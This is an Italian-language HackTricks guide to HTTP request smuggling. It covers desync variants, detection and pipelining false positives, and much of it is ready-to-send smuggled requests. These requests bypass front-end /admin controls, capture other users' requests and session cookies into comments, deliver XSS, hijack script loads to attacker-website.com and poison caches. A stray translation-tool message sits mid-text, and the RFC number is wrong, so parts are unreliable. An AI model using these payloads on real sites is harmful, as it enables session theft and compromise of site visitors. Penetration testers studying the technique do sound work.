HTTP Request Smuggling / HTTP Desync Attack

Reading time: 34 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos'è

Questa vulnerabilità si verifica quando una desincronizzazione tra front-end proxies e il server back-end permette a un attaccante di inviare una HTTP request che verrà interpretata come una singola request dai front-end proxies (load balance/reverse-proxy) e come 2 request dal server back-end.
Questo permette a un utente di modificare la request successiva che arriva al back-end dopo la sua.

Teoria

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realtà

Il Front-End (un load-balancer / Reverse Proxy) processa l'header Content-Length o l'header Transfer-Encoding e il server Back-end processa l'altro, provocando una desincronizzazione tra i 2 sistemi.
Questo può essere molto critico perché un attaccante potrà inviare una request al reverse proxy che verrà interpretata dal server back-end come 2 request differenti. Il pericolo di questa tecnica risiede nel fatto che il back-end interpreterà la 2a request iniettata come se provenisse dal client successivo e la vera request di quel client farà parte della request iniettata.

Particolarità

Ricorda che in HTTP un carattere di nuova linea è composto da 2 byte:

  • Content-Length: Questo header usa un numero decimale per indicare il numero di byte del body della request. Il body è atteso terminare nell'ultimo carattere, non è necessario un new line alla fine della request.
  • Transfer-Encoding: Questo header usa nel body un numero esadecimale per indicare il numero di byte del prossimo chunk. Il chunk deve terminare con una new line ma questa new line non è conteggiata dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un chunk di size 0 seguito da 2 new line: 0
  • Connection: Dalla mia esperienza è consigliato usare Connection: keep-alive sulla prima request dello request Smuggling.

Visibile - Nascosto

Il problema principale con http/1.1 è che tutte le request viaggiano nello stesso socket TCP, quindi se c'è una discrepanza tra 2 sistemi che ricevono le request è possibile inviare una singola request che sarà trattata come 2 request (o più) dal backend finale (o anche da sistemi intermedi).

This blog post propone nuovi modi per rilevare desync attacks su un sistema che non verrebbero segnalati dai WAFs. Per questo presenta i comportamenti Visible vs Hidden. L'obiettivo in questo caso è cercare discrepanze nella response usando tecniche che potrebbero causare desyncs senza sfruttare effettivamente nulla.

Ad esempio, inviando una request con l'header normale Host e un header " host", se il backend si lamenta di questa request (forse perché il valore di " host" è incorretto) ciò potrebbe significare che il front-end non ha considerato l'header " host" mentre il backend lo ha usato, implicando con alta probabilità una desincronizzazione tra front-end e backend.

Questa sarebbe una discrepanza Nascosto-Visibile.

Se il front-end avesse preso in considerazione l'header " host" ma il front-end no, questa potrebbe essere stata una situazione Visibile-Nascosto.

Ad esempio, questo ha permesso di scoprire desync tra AWS ALB come front-end e IIS come backend. Questo perché quando veniva inviato "Host: foo/bar" l'ALB restituiva 400, Server; awselb/2.0, ma quando veniva inviato "Host : foo/bar" restituiva 400, Server: Microsoft-HTTPAPI/2.0, indicando che era il backend a inviare la response. Questa è una situazione Nascosto-Visibile (H-V).

Nota che questa situazione non è corretta in AWS, ma può essere mitigata impostando routing.http.drop_invalid_header_fields.enabled e routing.http.desync_mitigation_mode = strictest.

Basic Examples

tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header Content-Length (CL) e Transfer-Encoding (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come CL.TE, TE.CL, e TE.TE. Ogni tipo rappresenta una combinazione unica di come front-end e back-end danno priorità a questi header. Le vulnerabilità nascono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

Esempi Base di Tipi di Vulnerabilità

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Alla tabella precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processa la request basandosi sull'header Content-Length.

  • Back-End (TE): Processa la request basandosi sull'header Transfer-Encoding.

  • Scenario di Attacco:

  • L'attaccante invia una request dove il valore dell'header Content-Length non corrisponde alla reale lunghezza del contenuto.

  • Il front-end inoltra l'intera request al back-end, basandosi sul valore di Content-Length.

  • Il back-end processa la request come chunked a causa dell'header Transfer-Encoding: chunked, interpretando i dati rimanenti come una request separata e successiva.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processa la request basandosi sull'header Transfer-Encoding.

  • Back-End (CL): Processa la request basandosi sull'header Content-Length.

  • Scenario di Attacco:

  • L'attaccante invia una request chunked dove la dimensione del chunk (7b) e la reale Content-Length (Content-Length: 4) non sono allineate.

  • Il front-end, rispettando Transfer-Encoding, inoltra l'intera request al back-end.

  • Il back-end, rispettando Content-Length, processa solo la parte iniziale della request (7b bytes), lasciando il resto come parte di una request successiva non voluta.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato a ignorarlo tramite obfuscation.

  • Scenario di Attacco:

  • L'attaccante invia una request con header Transfer-Encoding obfuscati.

  • A seconda di quale server (front-end o back-end) non riconosce l'obfuscation, si può sfruttare una vulnerabilità CL.TE o TE.CL.

  • La parte non processata della request, come vista da uno dei server, diventa parte di una request successiva, portando allo smuggling.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Entrambi i server processano la request basandosi esclusivamente sull'header Content-Length.
  • Questo scenario tipicamente non porta a smuggling, poiché c'è allineamento su come entrambi i server interpretano la lunghezza della request.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Si riferisce a scenari in cui l'header Content-Length è presente e ha un valore diverso da zero, indicando che il body della request ha contenuto. Il back-end ignora l'header Content-Length (che viene trattato come 0), ma il front-end lo analizza.
  • È cruciale per comprendere e costruire attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Come il precedente ma usando TE
  • Technique reported here
  • Esempio:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

In una situazione 0.CL viene inviata una request con un Content-Length come:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Il front-end non prende in considerazione il Content-Length, quindi invia solo la prima richiesta al backend (fino al 7 nell'esempio). Tuttavia il backend vede il Content-Length e attende un body che non arriva mai perché il front-end sta già aspettando la risposta.

Tuttavia, se esiste una richiesta che è possibile inviare al backend e che viene risposta prima di ricevere il body della richiesta, questo deadlock non si verificherà. In IIS, per esempio, questo succede inviando richieste a parole riservate come /con (check the documentation), in questo modo la richiesta iniziale verrà gestita direttamente e la seconda richiesta conterrà la richiesta della vittima come:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Questo è utile per causare un desync, ma non ha avuto alcun impatto fino ad ora.

Tuttavia, il post propone una soluzione a questo convertendo una 0.CL attack into a CL.0 with a double desync.

Rompere il web server

Questa tecnica è inoltre utile in scenari in cui è possibile break a web server while reading the initial HTTP data ma without closing the connection. In questo modo, il body della richiesta HTTP sarà considerato la next HTTP request.

Per esempio, come spiegato in this writeup, in Werkzeug era possibile inviare alcuni caratteri Unicode che facevano break il server. Tuttavia, se la connessione HTTP era stata creata con l'header Connection: keep-alive, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il body della richiesta sarà trattato come la next HTTP request.

Forzare via hop-by-hop headers

Abusando degli hop-by-hop headers puoi indicare al proxy di delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.

Connection: Content-Length

Per maggiori informazioni sulle intestazioni hop-by-hop visita:

hop-by-hop headers

Trovare HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere ottenuto usando tecniche di timing, che si basano sull'osservazione del tempo impiegato dal server per rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:

Trovare vulnerabilità CL.TE usando tecniche di timing

  • Metodo:

  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il back-end server aspetti dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Osservazione:

  • Il front-end server elabora la richiesta basandosi su Content-Length e tronca il messaggio prematuramente.

  • Il back-end server, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.

  • Indicatori:

  • Timeout o lunghi ritardi nella risposta.

  • Ricezione di un 400 Bad Request dal back-end server, a volte con informazioni dettagliate sul server.

Trovare vulnerabilità TE.CL usando tecniche di timing

  • Metodo:

  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il back-end server aspetti dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il front-end server elabora la richiesta basandosi su Transfer-Encoding e inoltra l'intero messaggio.
  • Il back-end server, aspettandosi un messaggio basato su Content-Length, attende ulteriori dati che non arrivano mai, causando un ritardo.

Altri metodi per trovare vulnerabilità

  • Analisi delle risposte differenziali:
  • Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nel parsing.
  • Uso di strumenti automatici:
  • Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando diverse forme di richieste ambigue e analizzando le risposte.
  • Test di varianza di Content-Length:
  • Inviare richieste con valori Content-Length variabili che non corrispondono alla lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
  • Test di varianza di Transfer-Encoding:
  • Inviare richieste con header Transfer-Encoding offuscati o malformati e monitorare come front-end e back-end server rispondono in modo diverso a tali manipolazioni.

The Expect: 100-continue header

Verifica come questo header può aiutare a sfruttare un http desync in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, ad esempio facendo sì che una richiesta a / restituisca un 404. Gli esempi CL.TE e TE.CL discussi precedentemente in Basic Examples mostrano come avvelenare la richiesta di un client per ottenere un 404, nonostante il client tenti di accedere a una risorsa diversa.

Considerazioni chiave

Quando testi le vulnerabilità di request smuggling interferendo con altre richieste, tieni a mente:

  • Connessioni di rete distinte: Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Usare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
  • URL e parametri coerenti: Cerca di usare URL identici e gli stessi nomi di parametri per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste verso specifici back-end server basandosi su URL e parametri. Farli combaciare aumenta la probabilità che entrambe le richieste siano processate dallo stesso server, prerequisito per un attacco riuscito.
  • Temporizzazione e condizioni di race: La richiesta "normal", pensata per rilevare l'interferenza dalla richiesta "attack", compete con altre richieste concorrenti dell'applicazione. Pertanto, invia la richiesta "normal" immediatamente dopo la richiesta "attack". Applicazioni molto cariche possono richiedere più tentativi per una conferma conclusiva della vulnerabilità.
  • Sfide del load balancing: I front-end server che agiscono come load balancer possono distribuire le richieste su diversi sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto involontario sugli utenti: Se il tuo attacco influenza involontariamente la richiesta di un altro utente (non la richiesta "normal" che hai inviato per il rilevamento), questo indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero disturbare altri utenti, quindi procedi con cautela.

Distinguere artefatti di HTTP/1.1 pipelining da genuine request smuggling

La riutilizzo della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" in strumenti di test che inviano più richieste sullo stesso socket. Impara a separare innocui artefatti lato client da veri desync lato server.

Perché il pipelining crea falsi positivi classici

HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è reinviare due volte un payload malformato in stile CL.0 sulla stessa connessione:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Non hai incollato il contenuto del file. Per favore incolla qui il contenuto di src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre. Tradurrò il testo rilevante in italiano mantenendo invariati codice, tag, link e path.

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Se il server ha ignorato il Content_Length malformato, non c'è desync FE↔BE. Con reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. Hai solo desincronizzato il tuo client dal framing del server.

tip

I moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con requestsPerConnection>1, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".

Test di verifica: pipelining o desync reale?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita "Send group in sequence".
  • In Turbo Intruder, imposta requestsPerConnection=1 e pipeline=False.
  • Se il comportamento scompare, era probabilmente pipelining lato client, a meno che tu non stia trattando con target connection-locked/stateful o desync lato client.
  1. HTTP/2 nested-response check
  • Invia una richiesta HTTP/2. Se il body della risposta contiene una risposta HTTP/1 completa nidificata, hai dimostrato un bug di parsing/desync lato backend invece di un puro artefatto client.
  1. Partial-requests probe per front-end connection-locked
  • Alcuni FE riutilizzano la connessione upstream solo se il client ha riutilizzato la propria. Usa partial-requests per rilevare comportamenti del FE che rispecchiano il reuse del client.
  • Vedi PortSwigger "Browser‑Powered Desync Attacks" per la tecnica connection-locked.
  1. State probes
  • Cerca differenze tra prima e richieste successive sulla stessa connessione TCP (routing/validation della prima richiesta).
  • Burp "HTTP Request Smuggler" include una connection‑state probe che automatizza questo.
  1. Visualize the wire
  • Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenazione e framing dei messaggi direttamente mentre sperimenti con reuse e partial requests.

Connection‑locked request smuggling (richiede reuse)

Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la propria. Esiste uno smuggling reale ma è condizionato al reuse lato client. Per distinguere e dimostrare l'impatto:

  • Dimostra il bug lato server
  • Usa l'HTTP/2 nested-response check, oppure
  • Usa partial-requests per mostrare che il FE riutilizza upstream solo quando lo fa il client.
  • Dimostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
  • Cache poisoning: avvelena cache condivise tramite il desync in modo che le risposte influenzino altri utenti.
  • Internal header disclosure: rifletti header iniettati dal FE (es., auth/trust headers) e pivot per bypassare l'autenticazione.
  • Bypass dei controlli del FE: smuggle percorsi/metodi ristretti oltre il front-end.
  • Host-header abuse: combina con peculiarità di host routing per pivotare verso vhost interni.
  • Workflow dell'operatore
  • Riproduci con reuse controllato (Turbo Intruder requestsPerConnection=2, o Burp Repeater tab group → "Send group in sequence (single connection)").
  • Poi fai chaining verso primitive di cache/header-leak/control-bypass e dimostra impatto cross-user o autorizzazione.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Vincoli del desync lato client

Se stai prendendo di mira un desync browser-powered/lato client, la richiesta malevola deve essere inviabile da un browser cross-origin. I trucchi di offuscamento degli header non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o bypass dei controlli del front-end dove i componenti a valle riflettono o cachano le risposte.

Per background e workflow end-to-end:

Browser HTTP Request Smuggling

Strumenti per decidere

  • HTTP Hacker (Burp BApp Store): espone il comportamento HTTP di basso livello e la concatenazione dei socket.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: controllo preciso sul connection reuse tramite requestsPerConnection.
  • Burp HTTP Request Smuggler: include una connection‑state probe per individuare il routing/validation della prima richiesta.

note

Considera gli effetti legati esclusivamente al reuse come non-problemi a meno che tu non possa dimostrare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abuso di HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

A volte i proxy front-end applicano misure di sicurezza, scrutinando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, permettendo accesso non autorizzato a endpoint ristretti. Ad esempio, l'accesso a /admin potrebbe essere vietato dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe non ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per aggirare queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling possa essere usato per bypassare i controlli di sicurezza del front-end, mirati specificamente al percorso /admin che è tipicamente protetto dal proxy front-end:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell'attacco CL.TE, l'header Content-Length viene sfruttato per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'header Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta POST iniziale ma non riesce a ispezionare la richiesta incorporata GET /admin, permettendo l'accesso non autorizzato al percorso /admin.

TE.CL Esempio

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell'attacco TE.CL la richiesta iniziale POST utilizza Transfer-Encoding: chunked, e la successiva richiesta incorporata viene elaborata in base all'intestazione Content-Length. Analogamente all'attacco CL.TE, il proxy front-end ignora la richiesta smuggled GET /admin, concedendo involontariamente l'accesso al percorso ristretto /admin.

Rivelare la riscrittura delle richieste del front-end

Le applicazioni spesso impiegano un server front-end per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica prevede l'aggiunta di header, come X-Forwarded-For: <IP of the client>, per inoltrare l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per bypassare le protezioni o scoprire informazioni o endpoint nascosti.

Per verificare come un proxy modifica una richiesta, individua un parametro POST che il server back-end riporta nella risposta. Poi, costruisci una richiesta, usando questo parametro per ultimo, simile al seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo search=, che è il parametro riflesso nella risposta. Questa riflessione esporrà gli headers della richiesta successiva.

È importante allineare l'header Content-Length della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore piccolo e aumentarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare errori nella richiesta.

Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro search.

Questo metodo serve principalmente a comprendere le modifiche alle richieste apportate dal proxy front-end, essenzialmente eseguendo un'indagine autodiretta.

Cattura delle richieste di altri utenti

È possibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

Appendendo la seguente richiesta come valore di un parametro, puoi memorizzare la richiesta del client successivo:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il parametro comment è destinato a memorizzare il contenuto della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, il contenuto della richiesta successiva apparirà come un commento.

Tuttavia, questa tecnica ha delle limitazioni. Generalmente cattura i dati soltanto fino al delimitatore di parametro usato nella richiesta contrabbandata. Per le sottomissioni di form URL-encoded, questo delimitatore è il carattere &. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo &, che potrebbe anche far parte della query string.

Inoltre, vale la pena notare che questo approccio è praticabile anche con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di nuova linea, i valori verranno aggiunti al parametro search.

Usare HTTP request smuggling per sfruttare reflected XSS

HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a Reflected XSS, offrendo vantaggi significativi:

  • Non è richiesta alcuna interazione con gli utenti target.
  • Permette di sfruttare XSS in parti della richiesta che sono normalmente irraggiungibili, come gli header HTTP.

In scenari in cui un sito è suscettibile a Reflected XSS tramite l'header User-Agent, il payload seguente dimostra come sfruttare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità in questo modo:

  1. Avviando una richiesta POST, apparentemente tipica, con l'header Transfer-Encoding: chunked per indicare l'inizio dello smuggling.
  2. Seguendo con uno 0, che segna la fine del chunked message body.
  3. Poi viene introdotta una smuggled GET request, in cui l'header User-Agent viene iniettato con lo script <script>alert(1)</script>, scatenando l'XSS quando il server elabora questa richiesta successiva.

Manipolando il User-Agent tramite smuggling, il payload aggira i vincoli normali delle richieste, sfruttando così la vulnerabilità Reflected XSS in modo non standard ma efficace.

HTTP/0.9

caution

Nel caso in cui il contenuto dell'utente venga riflesso in una risposta con un Content-type come text/plain, ciò impedirebbe l'esecuzione dell'XSS. Se il server supporta HTTP/0.9 potrebbe essere possibile aggirare questo!

La versione HTTP/0.9 precede la 1.0 e usa solo il verbo GET e non risponde con headers, soltanto con il body.

In this writeup, questo è stato abusato con un request smuggling e un vulnerable endpoint that will reply with the input of the user per smuggleare una richiesta con HTTP/0.9. Il parametro che veniva riflesso nella risposta conteneva una fake HTTP/1.1 response (with headers and body) così la risposta conteneva codice JS eseguibile valido con un Content-Type di text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host presente nell'header Host nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza slash finale provoca un redirect per includere lo slash:

GET /home HTTP/1.1
Host: normal-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Per esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questa smuggled request potrebbe causare che la prossima richiesta utente processata venga reindirizzata a un sito controllato dall'attaccante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript maligno in risposta.

Sfruttare Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning può essere eseguito se qualsiasi componente della infrastruttura front-end memorizza nella cache il contenuto, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile poison the cache.

In precedenza abbiamo osservato come le risposte del server possano essere alterate per restituire un errore 404 (vedi Basic Examples). Analogamente, è fattibile ingannare il server per far consegnare il contenuto di /index.html in risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una Open Redirect vulnerability o se esiste un on-site redirect to an open redirect. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di /static/include.js con uno script sotto il controllo dell'attaccante, permettendo di fatto un ampio attacco di Cross-Site Scripting (XSS) contro tutti i client che richiedono il /static/include.js aggiornato.

Di seguito è mostrata un'illustrazione dello sfruttamento di cache poisoning combined with an on-site redirect to open redirect. L'obiettivo è alterare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall'attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che prende di mira /post/next?postId=3. Questa richiesta sarà reindirizzata a /post?postId=4, utilizzando il Host header value per determinare il dominio. Alterando l'Host header, l'attaccante può reindirizzare la richiesta al proprio dominio (on-site redirect to open redirect).

Dopo un riuscito socket poisoning, deve essere avviata una GET request per /static/include.js. Questa richiesta verrà contaminata dalla precedente richiesta on-site redirect to open redirect e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per /static/include.js servirà il contenuto memorizzato nella cache dello script dell'attaccante, innescando di fatto un ampio attacco XSS.

Usare HTTP request smuggling per eseguire web cache deception

Qual è la differenza tra web cache poisoning e web cache deception?

  • In web cache poisoning, l'attaccante provoca che l'applicazione salvi del contenuto malevolo nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
  • In web cache deception, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.

L'attaccante crea una smuggled request che recupera contenuti sensibili specifici per un utente. Considera il seguente esempio:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa smuggled request avvelena un'entry della cache destinata a contenuti statici (ad es., /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella cache sotto l'entry del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

Abuso di TRACE tramite HTTP Request Smuggling

